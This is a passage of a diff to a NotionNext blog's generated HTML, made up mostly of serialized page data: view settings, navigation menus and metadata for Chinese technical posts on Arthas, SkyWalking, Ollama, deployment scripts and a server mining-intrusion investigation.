b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},"next":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240124-deploy"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 